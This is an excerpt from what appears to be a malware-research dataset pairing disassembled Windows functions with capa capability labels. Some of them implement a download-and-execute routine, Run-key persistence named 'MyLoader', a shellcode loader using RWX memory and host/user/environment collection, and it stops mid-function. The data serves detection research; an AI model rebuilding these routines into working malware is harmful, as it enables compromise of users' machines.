joyce8/EMBER2024-capa huggingface dataset:
Function at 0x412260
Capabilities:
Get geographical location
Identify system language via api

Disassembly:
push rbp
sub rsp, 0x50
mov rbp, rsp
mov qword [rbp + 0x28], rcx
mov qword [rbp + 0x20], rdx
mov qword [rbp + 0x30], 0
mov qword [rbp + 0x38], 0
mov qword [rbp + 0x70], r8
mov rcx, qword [rbp + 0x70]
call fcn.0040dd50
nop
call sub.kernel32.dll_GetUserDefaultUILanguage
movzx ecx, ax
mov edx, 3
lea r8, [rbp + 0x48]
mov r9d, 4
call sub.kernel32.dll_GetLocaleInfoW
lea rcx, [rbp + 0x38]
lea rdx, [rbp + 0x48]
mov r8d, 4
call fcn.0040f030
mov rcx, qword [rbp + 0x20]
mov rdx, qword [rbp + 0x70]
mov r8, qword [rbp + 0x38]
call fcn.0040f390
mov rcx, qword [rbp + 0x28]
mov rax, qword [rbp + 0x20]
mov rdx, qword [rax]
call fcn.00412080
test al, al
jne 0x41232e
mov word [rbp + 0x4c], 0
lea rcx, [rbp + 0x30]
lea rdx, [rbp + 0x48]
mov r8d, 4
call fcn.0040f030
mov rcx, qword [rbp + 0x20]
mov rdx, qword [rbp + 0x70]
mov r8, qword [rbp + 0x30]
call fcn.0040f390
mov rcx, qword [rbp + 0x28]
mov rax, qword [rbp + 0x20]
mov rdx, qword [rax]
call fcn.00412080
test al, al
jne 0x41232e
mov rcx, qword [rbp + 0x20]
call fcn.0040dbc0
nop
lea rcx, [rbp + 0x30]
mov edx, 2
call fcn.0040dca0
lea rcx, [rbp + 0x70]
call fcn.0040dbc0
mov rax, qword [rbp + 0x20]
lea rsp, [rbp + 0x50]
pop rbp
ret
Function at 0x4123a0
Capabilities:
Identify system language via api

Disassembly:
push rbp
sub rsp, 0x70
mov rbp, rsp
mov qword [rbp + 0x28], rcx
mov qword [rbp + 0x30], 0
mov qword [rbp + 0x40], 0
mov qword [rbp + 0x38], 0
mov qword [rbp + 0x50], 0
mov qword [rbp + 0x48], 0
mov qword [rbp + 0x58], 0
mov qword [rbp + 0x68], 0
mov qword [rbp + 0x60], 0
mov qword [rbp + 0x88], rdx
mov qword [rbp + 0x90], r8
mov rcx, qword [rbp + 0x88]
call fcn.0040dd50
mov rcx, qword [rbp + 0x90]
call fcn.0040dd50
nop
mov rcx, qword [rbp + 0x28]
call fcn.0040dbc0
lea rcx, [rbp + 0x60]
mov rdx, qword [rbp + 0x90]
call fcn.0040e270
xor rax, rax
cmp qword [rbp + 0x90], 0
je 0x412443
mov rax, qword [rbp + 0x90]
mov eax, dword [rax - 4]
cmp eax, 1
jl 0x41247d
mov rcx, qword [rbp + 0x90]
movsxd rdx, eax
cmp word [rcx + rdx*2 - 2], 0x2e
jne 0x412476
lea rcx, [rbp + 0x60]
mov rdx, qword [rbp + 0x90]
mov r8d, 1
movsxd r9, eax
call fcn.0040f5a0
jmp 0x41247d
sub eax, 1
test eax, eax
jne 0x412448
nop
lea rcx, [rbp + 0x68]
mov rdx, qword [rbp + 0x88]
call fcn.00411f70
cmp qword [rbp + 0x68], 0
je 0x4124bb
mov rcx, rbp
lea rdx, [rbp + 0x58]
mov r8, qword [rbp + 0x60]
mov r9, qword [rbp + 0x68]
call fcn.00412120
mov rcx, qword [rbp + 0x28]
mov rdx, qword [rbp + 0x58]
call fcn.0040e1f0
jmp 0x412557
call sub.kernel32.dll_GetUserDefaultUILanguage
lea rcx, [rbp + 0x48]
mov edx, eax
call fcn.004116e0
mov rcx, rbp
lea rdx, [rbp + 0x50]
mov r8, qword [rbp + 0x60]
mov r9, qword [rbp + 0x48]
call fcn.00412120
mov rcx, qword [rbp + 0x28]
mov rdx, qword [rbp + 0x50]
call fcn.0040e1f0
mov rax, qword [rbp + 0x28]
cmp qword [rax], 0
jne 0x412530
cmp byte [0x00563c78], 0
jne 0x412530
call sub.kernel32.dll_GetSystemDefaultUILanguage
lea rcx, [rbp + 0x38]
mov edx, eax
call fcn.004116e0
mov rcx, rbp
lea rdx, [rbp + 0x40]
mov r8, qword [rbp + 0x60]
mov r9, qword [rbp + 0x38]
call fcn.00412120
mov rcx, qword [rbp + 0x28]
mov rdx, qword [rbp + 0x40]
call fcn.0040e1f0
mov rax, qword [rbp + 0x28]
cmp qword [rax], 0
jne 0x412557
mov rcx, rbp
lea rdx, [rbp + 0x30]
mov r8, qword [rbp + 0x60]
call fcn.00412260
mov rcx, qword [rbp + 0x28]
mov rdx, qword [rbp + 0x30]
call fcn.0040e1f0
nop
lea rcx, [rbp + 0x30]
mov edx, 8
call fcn.0040dca0
lea rcx, [rbp + 0x88]
mov edx, 2
call fcn.0040dca0
mov rax, qword [rbp + 0x28]
lea rsp, [rbp + 0x70]
pop rbp
ret

Function at 0x4130d0
Capabilities:
Get system information on windows

Disassembly:
sub rsp, 0x58
lea rcx, [rsp + 0x20]
call sub.kernel32.dll_GetSystemInfo
mov eax, dword [rsp + 0x40]
add rsp, 0x58
ret

Function at 0x4130f0
Capabilities:
Check os version

Disassembly:
sub rsp, 0x28
call sub.kernel32.dll_GetVersion
mov ecx, eax
and ecx, 0xff
and eax, 0xff00
shr eax, 8
cmp ecx, 5
jne 0x413114
cmp eax, 1
jae 0x413119
cmp ecx, 5
jbe 0x413125
mov dword [0x0055f9a0], 0x7f
jmp 0x41312f
mov dword [0x0055f9a0], 0x409
add rsp, 0x28
ret
Function at 0x4148d0
Capabilities:
Set thread local storage value

Disassembly:
push rbx
sub rsp, 0x20
call fcn.004148c0
mov ebx, eax
test ebx, ebx
je 0x41491b
cmp dword [0x00541c60], 0xffffffff
jne 0x4148f4
mov ecx, 0xe2
call fcn.0040da00
mov ecx, ebx
call fcn.004148a0
test rax, rax
jne 0x41490d
mov ecx, 0xe2
call fcn.0040da00
jmp 0x41491b
mov ecx, dword [0x00541c60]
mov rdx, rax
call sub.kernel32.dll_TlsSetValue
add rsp, 0x20
pop rbx
ret

Function at 0x414930
Capabilities:
Get thread local storage value

Disassembly:
sub rsp, 0x28
cmp byte [0x00563d54], 0
je 0x41496b
mov ecx, dword [0x00541c60]
call sub.kernel32.dll_TlsGetValue
test rax, rax
jne 0x41497f
call fcn.004148d0
mov ecx, dword [0x00541c60]
call sub.kernel32.dll_TlsGetValue
test rax, rax
jne 0x41497f
mov rax, qword [0x00563d88]
jmp 0x41497f
mov rax, qword gs:[0x58]
movsxd rcx, dword [0x00541c60]
mov rax, qword [rax + rcx*8]
add rsp, 0x28
ret

Function at 0x430ae0
Capabilities:
Get geographical location

Disassembly:
push rbp
push rbx
sub rsp, 0x38
mov rbp, rsp
mov ebx, r8d
lea r8, [rbp + 0x2c]
mov r9d, 2
call sub.kernel32.dll_GetLocaleInfoW_1
test eax, eax
jle 0x430b07
movzx rax, word [rbp + 0x2c]
jmp 0x430b09
mov eax, ebx
lea rsp, [rbp + 0x38]
pop rbx
pop rbp
ret

Function at 0x431dd0
Capabilities:
Write file on windows

Disassembly:
push rbp
push rsi
push rbx
sub rsp, 0x8e0
mov rbp, rsp
mov qword [rbp + 0x40], rcx
mov qword [rbp + 0x48], rdx
mov qword [rbp + 0x58], 0
nop
mov rcx, qword [rbp + 0x40]
mov rdx, qword [rbp + 0x48]
lea r8, [rbp + 0x60]
mov r9d, 0x400
call fcn.00431b70
mov ebx, eax
mov rax, qword [0x0055e730]
cmp byte [rax], 0
je 0x431f08
mov rcx, qword [0x0055e438]
call fcn.00409e00
call fcn.004086a0
mov ecx, 1
xor rdx, rdx
lea r8, [rbp + 0x60]
mov r9d, ebx
mov qword [rsp + 0x20], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x38], 0
call sub.kernel32.dll_WideCharToMultiByte_1
mov esi, eax
lea rcx, [rbp + 0x58]
mov rdx, qword [0x00431d90]
mov r8d, 1
movsxd r9, esi
call fcn.00410a20
mov ecx, 1
xor rdx, rdx
lea r8, [rbp + 0x60]
mov r9d, ebx
mov rax, qword [rbp + 0x58]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x38], 0
call sub.kernel32.dll_WideCharToMultiByte_1
mov ecx, 0xfffffff4
call sub.kernel32.dll_GetStdHandle_1
mov rcx, rax
mov rdx, qword [rbp + 0x58]
mov r8d, esi
lea r9, [rbp + 0x54]
mov qword [rsp + 0x20], 0
call sub.kernel32.dll_WriteFile_1
mov ecx, 0xfffffff4
call sub.kernel32.dll_GetStdHandle_1
mov rcx, rax
lea rdx, [0x00431fa8]
mov r8d, 2
lea r9, [rbp + 0x54]
mov qword [rsp + 0x20], 0
call sub.kernel32.dll_WriteFile_1
jmp 0x431f4e
mov rcx, qword [0x00563d58]
call fcn.00410d40
mov rcx, rax
mov rax, qword [0x0055e3c0]
mov edx, dword [rax + 8]
lea r8, [rbp + 0x860]
mov r9d, 0x40
call sub.user32.dll_LoadStringW_1
xor rcx, rcx
lea rdx, [rbp + 0x60]
lea r8, [rbp + 0x860]
mov r9d, 0x2010
call sub.user32.dll_MessageBoxW
nop
lea rcx, [rbp + 0x58]
mov rdx, qword [0x00431d90]
call fcn.00410c00
lea rsp, [rbp + 0x8e0]
pop rbx
pop rsi
pop rbp
ret
Function at 0x434400
Capabilities:
Encode data using xor

Disassembly:
push rbp
push r13
push rdi
push rsi
push rbx
sub rsp, 0x240
mov rbp, rsp
mov rbx, rcx
mov rcx, rbx
call fcn.0040e3a0
mov r13d, eax
mov ecx, 0xfde9
xor rdx, rdx
mov r8, rbx
mov r9d, r13d
mov qword [rsp + 0x20], 0
mov dword [rsp + 0x28], 0
call fcn.004130b0
mov esi, eax
cmp esi, 0x104
jbe 0x43445d
mov ecx, esi
add ecx, ecx
mov ecx, ecx
call fcn.00408360
mov rdi, rax
jmp 0x434461
lea rdi, [rbp + 0x38]
mov ecx, 0xfde9
xor rdx, rdx
mov r8, rbx
mov r9d, r13d
mov qword [rsp + 0x20], rdi
mov dword [rsp + 0x28], esi
call fcn.004130b0
mov rax, rdi
mov rcx, rax
call sub.user32.dll_CharUpperW
xor rbx, rbx
xor rax, rax
mov ecx, esi
sub ecx, 1
cmp eax, ecx
jg 0x4344b7
add ecx, 1
mov edx, ebx
shl edx, 5
shr ebx, 0x1b
or edx, ebx
mov ebx, edx
movsxd rdx, eax
movzx edx, word [rdi + rdx*2]
xor ebx, edx
add eax, 1
cmp eax, ecx
jne 0x43449b
nop
lea rax, [rbp + 0x38]
cmp rdi, rax
je 0x4344c9
mov rcx, rdi
call fcn.00408390
mov eax, ebx
lea rsp, [rbp + 0x240]
pop rbx
pop rsi
pop rdi
pop r13
pop rbp
ret
Function at 0x538c80
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push rbp
sub rsp, 0x460
mov rbp, rsp
mov qword [rbp + 0x38], rbp
mov qword [rbp + 0x470], rcx
mov qword [rbp + 0x478], rdx
mov rcx, qword [rbp + 0x470]
mov rdx, qword [0x00420708]
mov r8d, 1
xor r9, r9
call fcn.00410a20
xor rcx, rcx
mov edx, 1
xor r8, r8
xor r9, r9
mov dword [rsp + 0x20], 0
call sub.wininet.dll_InternetOpenW
mov qword [rbp + 0x450], rax
cmp qword [rbp + 0x450], 0
jne 0x538d04
mov rcx, qword [0x00420df0]
mov dl, 1
lea r8, [0x00538eb4]
call fcn.00431fd0
mov rcx, rax
call fcn.0040ceb0
nop
mov rcx, qword [rbp + 0x478]
call fcn.0040ef60
mov rcx, qword [rbp + 0x450]
mov rdx, rax
xor r8, r8
xor r9, r9
mov dword [rsp + 0x20], 0x80000000
mov qword [rsp + 0x28], 0
call sub.wininet.dll_InternetOpenUrlW
mov qword [rbp + 0x458], rax
cmp qword [rbp + 0x458], 0
jne 0x538d65
mov rcx, qword [0x00420df0]
mov dl, 1
lea r8, [0x00538f04]
call fcn.00431fd0
mov rcx, rax
call fcn.0040ceb0
nop
mov rcx, qword [rbp + 0x458]
lea rdx, [rbp + 0x50]
mov r8d, 0x400
lea r9, [rbp + 0x4c]
call sub.wininet.dll_InternetReadFile
test eax, eax
jne 0x538da2
mov rcx, qword [0x00420df0]
mov dl, 1
lea r8, [0x00538f38]
call fcn.00431fd0
mov rcx, rax
call fcn.0040ceb0
cmp dword [rbp + 0x4c], 0
jbe 0x538e0d
mov rax, qword [rbp + 0x470]
mov rcx, qword [rax]
call fcn.00410680
mov rcx, qword [rbp + 0x470]
mov rdx, qword [0x00420708]
mov r8d, 1
mov r9d, dword [rbp + 0x4c]
lea r9, [rax + r9]
call fcn.00410a20
mov rax, qword [rbp + 0x470]
mov rcx, qword [rax]
call fcn.00410680
lea rcx, [rbp + 0x50]
mov rdx, qword [rbp + 0x470]
mov rdx, qword [rdx]
lea rdx, [rdx + rax]
mov eax, dword [rbp + 0x4c]
neg rax
lea rdx, [rdx + rax]
mov r8d, dword [rbp + 0x4c]
call fcn.00408730
cmp dword [rbp + 0x4c], 0
jne 0x538d66
nop
mov rcx, qword [rbp + 0x458]
call sub.wininet.dll_InternetCloseHandle
nop
mov rcx, qword [rbp + 0x450]
call sub.wininet.dll_InternetCloseHandle
mov rax, qword [rbp + 0x470]
lea rsp, [rbp + 0x460]
pop rbp
ret
Function at 0x53e8b0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
push rbx
sub rsp, 0x48
mov rbp, rsp
mov qword [rbp + 0x30], 0
mov qword [rbp + 0x28], 0
mov qword [rbp + 0x20], 0
mov qword [rbp + 0x38], rbp
nop
lea rcx, [0x005390a0]
call fcn.00414d00
nop
nop
call fcn.00538ba0
test al, al
je 0x53e912
mov rcx, qword [0x0055e438]
lea rdx, [0x0053eb5c]
call fcn.0040a7b0
mov rcx, rax
call fcn.0040a920
call fcn.004086a0
call fcn.0040d840
lea rcx, [0x005684a8]
lea rdx, [0x0053eb8c]
call fcn.0040e1f0
call fcn.004391c0
mov rbx, rax
lea rcx, [rbp + 0x20]
mov rdx, qword [0x005684a8]
call fcn.00538f70
mov rcx, rbx
lea rdx, [rbp + 0x28]
mov r8, qword [rbp + 0x20]
call fcn.0043aea0
lea rcx, [rbp + 0x30]
mov rdx, qword [rbp + 0x28]
call fcn.00538c80
lea rcx, [0x00568498]
mov rdx, qword [rbp + 0x30]
mov r8, qword [0x00420708]
call fcn.00410c80
mov rcx, qword [0x00568498]
call fcn.00410680
xor rcx, rcx
mov rdx, rax
mov r8d, 0x1000
mov r9d, 0x40
call sub.kernel32.dll_VirtualAlloc_1
mov qword [0x005684a0], rax
cmp qword [0x005684a0], 0
jne 0x53e9c4
mov rcx, qword [0x00420df0]
mov dl, 1
lea r8, [0x0053ec04]
call fcn.00431fd0
mov rcx, rax
call fcn.0040ceb0
nop
mov rcx, qword [0x00568498]
call fcn.00410680
mov rcx, qword [0x00568498]
mov rdx, qword [0x005684a0]
mov r8, rax
call fcn.00408730
call qword [0x005684a0]
nop
mov rcx, qword [0x005684a0]
xor rdx, rdx
mov r8d, 0x8000
call sub.kernel32.dll_VirtualFree_1
jmp 0x53ea46
nop
lea rcx, [rbp + 0x20]
mov rdx, qword [0x00420708]
call fcn.00410c00
lea rcx, [rbp + 0x28]
call fcn.0040dbc0
lea rcx, [rbp + 0x30]
mov rdx, qword [0x00420708]
call fcn.00410c00
call fcn.0040d840
jmp 0x53ea7f
lea rsp, [rbp + 0x48]
pop rbx
pop rbp
ret
Function at 0x140001220
Capabilities:
Create process on windows
Download url
Receive data

Disassembly:
push rbx
sub rsp, 0x460
mov rax, qword [0x140006008]
xor rax, rsp
mov qword [rsp + 0x450], rax
mov rbx, rdx
mov dword [rsp + 0x28], 0x104
lea rax, [rsp + 0x240]
mov r8, rcx
xor edx, edx
mov qword [rsp + 0x20], rax
mov ecx, 0xfde9
mov r9d, 0xffffffff
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea rax, [rsp + 0x30]
mov dword [rsp + 0x28], 0x104
mov r9d, 0xffffffff
mov qword [rsp + 0x20], rax
mov r8, rbx
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
xor ebx, ebx
lea r8, [rsp + 0x30]
xor r9d, r9d
mov qword [rsp + 0x20], rbx
lea rdx, [rsp + 0x240]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
xor r9d, r9d
mov dword [rsp + 0x28], ebx
lea r8, [rsp + 0x30]
mov qword [rsp + 0x20], rbx
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov rcx, qword [rsp + 0x450]
xor rcx, rsp
call fcn.140001d90
add rsp, 0x460
pop rbx
ret

Function at 0x1400012f0
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push rbx
sub rsp, 0x260
mov rax, qword [0x140006008]
xor rax, rsp
mov qword [rsp + 0x250], rax
lea rax, [rsp + 0x40]
mov dword [rsp + 0x28], 0x104
mov r8, rcx
mov qword [rsp + 0x20], rax
mov rbx, 0xffffffffffffffff
xor edx, edx
mov r9d, ebx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea rax, [rsp + 0x30]
mov r9d, 0xf003f
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
lea rax, [rsp + 0x40]
cmp word [rax + rbx*2 + 2], 0
lea rbx, [rbx + 1]
jne 0x140001363
mov rcx, qword [rsp + 0x30]
lea rax, [rsp + 0x40]
lea ebx, [rbx*2 + 2]
mov r9d, 1
mov dword [rsp + 0x28], ebx
lea rdx, str.MyLoader
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rsp + 0x250]
xor rcx, rsp
call fcn.140001d90
add rsp, 0x260
pop rbx
ret
Function at 0x140002c50
Capabilities:
Encode data using base64

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r14
sub rsp, 0x70
mov rax, qword [0x14003f010]
xor rax, rsp
mov qword [rsp + 0x60], rax
mov r14, r8
mov rsi, rdx
mov rbx, rcx
mov qword [rsp + 0x38], rcx
xor ebp, ebp
lea rcx, [r8 + 2]
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
mov rdi, rdx
shr rdi, 1
shl rdi, 2
xorps xmm0, xmm0
cmp rdi, r8
jae 0x140002cbb
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rbp
mov qword [rbx + 0x18], 0xf
mov byte [rbx], bpl
jmp 0x140002e1a
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], rbp
mov qword [rsp + 0x58], 0xf
mov byte [rsp + 0x40], bpl
test rdi, rdi
jne 0x140002ce4
mov qword [rsp + 0x50], rdi
mov byte [rsp + rdi + 0x40], dil
jmp 0x140002d18
lea rcx, [rsp + 0x40]
cmp rdi, 0xf
ja 0x140002d05
mov qword [rsp + 0x50], rdi
mov r8, rdi
xor edx, edx
call fcn.14000c4c0
mov byte [rsp + rdi + 0x40], 0
jmp 0x140002d18
mov byte [rsp + 0x20], 0
mov r9, rdi
xor r8d, r8d
mov rdx, rdi
call fcn.140006f40
lea rdx, [rsp + 0x40]
cmp qword [rsp + 0x58], 0x10
cmovae rdx, qword [rsp + 0x40]
lea r8, [r14 + rsi]
lea r9, str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_
cmp r14, 3
jl 0x140002db0
nop word [rax + rax]
movsx rax, byte [rsi]
sar rax, 2
movzx eax, byte [rax + r9]
mov byte [rdx], al
movsx rcx, byte [rsi]
and ecx, 3
shl rcx, 4
movsx rax, byte [rsi + 1]
sar rax, 4
or rcx, rax
movzx eax, byte [rcx + r9]
mov byte [rdx + 1], al
movsx rcx, byte [rsi + 1]
and ecx, 0xf
shl rcx, 2
movsx rax, byte [rsi + 2]
sar rax, 6
or rcx, rax
movzx eax, byte [rcx + r9]
mov byte [rdx + 2], al
movsx rax, byte [rsi + 2]
and eax, 0x3f
movzx eax, byte [rax + r9]
mov byte [rdx + 3], al
add rdx, 4
add rsi, 3
sub r14, 3
cmp r14, 3
jge 0x140002d40
sub r8, rsi
je 0x140002e09
movsx rax, byte [rsi]
sar rax, 2
movzx eax, byte [rax + r9]
mov byte [rdx], al
movsx rcx, byte [rsi]
and ecx, 3
shl rcx, 4
cmp r8, 1
jne 0x140002de1
movzx eax, byte [rcx + r9]
mov byte [rdx + 1], al
mov al, 0x3d
jmp 0x140002e02
movsx rax, byte [rsi + 1]
sar rax, 4
or rax, rcx
movzx eax, byte [rax + r9]
mov byte [rdx + 1], al
movsx rax, byte [rsi + 1]
and eax, 0xf
movzx eax, byte [r9 + rax*4]
mov byte [rdx + 2], al
mov byte [rdx + 3], 0x3d
movups xmm0, xmmword [rsp + 0x40]
movups xmmword [rbx], xmm0
movups xmm1, xmmword [rsp + 0x50]
movups xmmword [rbx + 0x10], xmm1
mov rax, rbx
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.1400093a0
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
Function at 0x140007fd0
Capabilities:
Get hostname
Get session user name
Query environment variable

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
mov eax, 0x3ec0
call fcn.140029490
sub rsp, rax
mov rax, qword [0x14003f010]
xor rax, rsp
mov qword [rsp + 0x3eb0], rax
lea rdi, [rcx + 0xa8]
cmp qword [rdi + 0x18], 8
mov rax, rdi
jb 0x14000800e
mov rax, qword [rdi]
xor ecx, ecx
lea rdx, [rsp + 0x20]
mov qword [rdi + 0x10], rcx
mov word [rax], cx
lea rcx, [rsp + 0x30]
mov dword [rsp + 0x20], 0x1f40
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
lea rdx, [rsp + 0x30]
mov rcx, rdi
call fcn.140001c80
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x1f40
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
test eax, eax
jne 0x14000805e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, [0x140039678]
mov rcx, rdi
call fcn.140001c80
lea rdx, [rsp + 0x30]
mov rcx, rdi
call fcn.140001c80
lea rdx, [0x140039678]
mov rcx, rdi
call fcn.140001c80
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov rbx, rax
mov rsi, rax
cmp word [rax], 0
je 0x1400080cc
nop dword [rax + rax]
mov rdx, rbx
mov rcx, rdi
call fcn.140001c80
mov rdx, 0xffffffffffffffff
cmp word [rbx + rdx*2 + 2], 0
lea rdx, [rdx + 1]
jne 0x1400080b2
lea rbx, [rbx + rdx*2]
add rbx, 2
cmp word [rbx], 0
jne 0x1400080a0
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov al, 1
mov rcx, qword [rsp + 0x3eb0]
xor rcx, rsp
call fcn.1400093a0
lea r11, [rsp + 0x3ec0]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret

Function at 0x140009f28
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140009f72
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140009f72
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140009f72
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140009f72
cmp dword [rcx + 0x84], 0xe
jbe 0x140009f72
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140009f74
xor al, al
add rsp, 0x28
ret

Function at 0x140014c08
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x1400149f8
Function at 0x1400200c0
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x1400200f0
xor eax, eax
jmp 0x1400201b3
mov rbp, rbx
cmp word [rax], si
je 0x140020115
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x1400200fc
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x1400200f8
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.140020010
movsxd r14, eax
test eax, eax
jne 0x140020153
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x1400200e9
mov rcx, r14
call fcn.14001b800
mov rdi, rax
test rax, rax
jne 0x14002016c
xor ecx, ecx
call fcn.14001b0ec
jmp 0x140020148
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.140020010
test eax, eax
jne 0x14002019d
mov rcx, rdi
call fcn.14001b0ec
jmp 0x1400201a7
xor ecx, ecx
call fcn.14001b0ec
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x140029580
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1400295a8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x1400295a8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x180001220
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x90], 0x40000000
jbe 0x180001281
mov rax, qword [rsp + 0x90]
sub rax, 0x40000000
cmp qword [rsp + 0x30], rax
jae 0x180001281
mov rax, qword [rsp + 0x90]
sub rax, 0x40000000
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x90]
add rax, 0x40000000
cmp qword [rsp + 0x28], rax
jbe 0x1800012a9
mov rax, qword [rsp + 0x90]
add rax, 0x40000000
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
sub rax, 0xfff
mov qword [rsp + 0x28], rax
mov rax, qword [0x18001b030]
mov qword [rsp + 0x20], rax
jmp 0x1800012d4
mov rax, qword [rsp + 0x20]
mov rax, qword [rax]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x18000130e
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x20], rax
jb 0x1800012f4
mov rax, qword [rsp + 0x28]
cmp qword [rsp + 0x20], rax
jb 0x1800012f6
jmp 0x1800012c7
mov rax, qword [rsp + 0x20]
cmp qword [rax + 8], 0
je 0x18000130c
mov rax, qword [rsp + 0x20]
jmp 0x180001480
jmp 0x1800012c7
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
jb 0x180001377
mov r8d, dword [rsp + 0x78]
mov rdx, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x38]
call fcn.180001040
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x38], 0
jne 0x18000134a
jmp 0x180001377
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x1000
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x180001375
jmp 0x180001377
jmp 0x18000131b
cmp qword [rsp + 0x20], 0
jne 0x1800013e8
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x28]
cmp qword [rsp + 0x40], rax
ja 0x1800013e8
mov r8d, dword [rsp + 0x78]
mov rdx, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x40]
call fcn.180001110
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
jne 0x1800013bb
jmp 0x1800013e8
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x1000
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x1800013e6
jmp 0x1800013e8
jmp 0x18000138c
cmp qword [rsp + 0x20], 0
je 0x18000147b
mov rax, qword [rsp + 0x20]
add rax, 0x40
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x20]
mov qword [rax + 8], 0
